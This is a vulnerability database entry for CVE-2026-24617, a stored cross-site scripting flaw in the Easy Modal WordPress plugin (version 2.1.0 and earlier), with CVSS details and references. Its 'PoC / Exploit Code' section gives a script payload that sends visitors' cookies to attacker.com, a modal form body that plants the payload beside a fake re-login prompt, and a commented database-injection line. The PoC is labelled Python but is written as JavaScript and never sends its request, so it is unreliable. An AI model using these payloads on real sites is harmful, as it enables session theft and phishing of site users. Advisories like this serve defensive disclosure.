CVE-2026-24617

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Daniel Iser Easy Modal easy-modal allows Stored XSS.This issue affects Easy Modal: from n/a through <= 2.1.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Easy Modal Plugin <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-24617 Stored XSS PoC for Easy Modal Plugin <= 2.1.0
// This PoC demonstrates injecting malicious JavaScript via Modal configuration

// Step 1: Identify vulnerable endpoint (typically wp-admin/admin-ajax.php or Modal settings page)
// Step 2: Inject XSS payload in Modal title/content field

const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// Example POST request to create/edit Modal with XSS payload
const exploitModal = {
  action: 'save_modal',
  modal_title: xssPayload,
  modal_content: '<p>Your session has expired. Please login again.</p>',
  modal_button_text: xssPayload,
  nonce: 'your_valid_nonce_here'
};

// Alternative: Direct database injection if SQLi present
// INSERT INTO wp_options (option_name, option_value) 
// VALUES ('easy_modal_popup_1', '<script>malicious_code</script>');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24617
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24617
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24617/
[4] VulDB https://vuldb.com/cve/CVE-2026-24617
[5] https://patchstack.com/database/Wordpress/Plugin/easy-modal/vulnerability/wordpress-easy-modal-plugin-2-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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